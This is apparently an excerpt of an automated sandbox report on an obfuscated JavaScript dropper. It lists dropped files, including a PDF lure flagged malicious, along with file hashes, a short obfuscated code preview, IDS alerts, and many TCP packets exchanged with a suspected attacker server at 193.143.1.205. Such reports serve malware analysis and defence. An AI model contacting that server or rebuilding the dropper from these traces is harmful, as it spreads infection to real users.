Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\4335c708-7ae1-4675-9ce7-958a0143f770.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\83c75171-7311-44b8-94f8-3e5db0e761f9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d8fdcc79-37ac-48d5-9628-716acbb84d31.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15001), with CRLF line terminators
Entropy (8bit):	4.908280587842476
TrID:
File name:	2503475573085815370.js
File size:	18'496 bytes
MD5:	6b3282535afb715ce6d62f0933a44c6a
SHA1:	865d0f3d492c26e75c97be58b65469495a22085e
SHA256:	fe98acaf5a362ddfedac57d77efb0ca6416ac89d2e63255e7eda367a4a755799
SHA512:	8a67966fe79b29a47b68b6b1a1658349463a51902617e114492437f360918c4cd218033853ed9b4e1852f24a2f13801589383d3d717f81148cfe3ad37df1e27c
SSDEEP:	384:xWCaJL0rXz+E7vHTTRjCHwVBAXZk0ppcsXgu:3Gcz9bB1uZxpcsX1
TLSH:	3C825F07AC05D9474DFC2BE898EB25E717BE04EE86A4889FD5235091961E301BBEB079
File Content Preview:	function pumoajygm(){cvwkvzi=[1031,3079,5127,4103,2055,3072];var umxuwap=this[qtahot+fcqlpfju+tzbsnih+qsulc+djedsc+ynwkr+yuhmlu+fbmipmf](this[orfdtq+jgkixmtp+evuvahcsp+tzbsnih+fucocm+qtahot+fbmipmf][tikkkmjfa+tzbsnih+djedsc+fcqlpfju+fbmipmf+djedsc+gwdhf+v

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:38:06.804828+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-10T14:38:09.269925+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:38:06.006206036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.011148930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.011245966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.013748884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.018490076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.804748058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.804757118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.804764032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.804807901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.804816961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.804826975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.804827929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.804869890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.804882050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.804903984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.804932117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.804970026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.804980993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.805036068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.809629917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.809653044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.809711933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.847407103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.847425938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.847461939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.933916092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.933960915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.933983088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.934000015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.934000015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.934024096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.934048891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.934048891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.934072018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.934078932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.934098005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.934129953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.934633970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.934648037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.934674978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.934798956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.934842110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.934854984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.934868097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.935405970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.935420990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.935435057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.935436010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.935458899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.935467005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.935477018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.935503960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.936041117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.936079979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.936105967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.936147928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.936156988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.936184883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.936225891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.936893940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.936927080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:06.983541012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.983557940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.983568907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:06.983614922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.022166014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.022232056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.062241077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.062252998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.062262058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.062324047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.062345982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.062413931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.062423944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.062424898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.062424898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.062464952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.062720060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.062762022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.062856913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.062880039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.062889099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.062916994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.063075066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063119888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.063152075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063162088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063199043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.063227892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063237906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063247919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063276052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.063699961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063744068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063745022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.063755035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063788891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.063893080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063901901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063910961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.063942909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.064346075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.064354897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.064363956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.064388037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.064404011 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.064490080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.064498901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.064515114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.064524889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.064533949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.064546108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.064557076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.066010952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066020966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066030025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066062927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.066095114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.066103935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066114902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066123009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066132069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066149950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.066160917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.066297054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066308022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066315889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066324949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066334963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.066342115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.066368103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.072016954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.072099924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.072104931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.072109938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.072118998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.072139978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.104501009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.104537964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.104629993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.111093044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.111109972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.111151934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.111160040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.111162901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.111191034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.150727987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.150738001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.150942087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.190824032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.190839052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.190855026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.190866947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.190877914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.190893888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.190922976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.190963030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191005945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.191024065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191097021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191143036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.191145897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191179991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191217899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.191476107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191509008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191541910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191550970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.191612005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191659927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.191684008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191756964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191790104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191801071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.191823006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191854954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.191871881 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.191982031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192030907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192032099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.192102909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192136049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192145109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.192167997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192202091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192209959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.192236900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192277908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.192482948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192539930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192579031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.192603111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192696095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192738056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.192744970 CET	80	49709	193.143.1.205	192.168.2.6
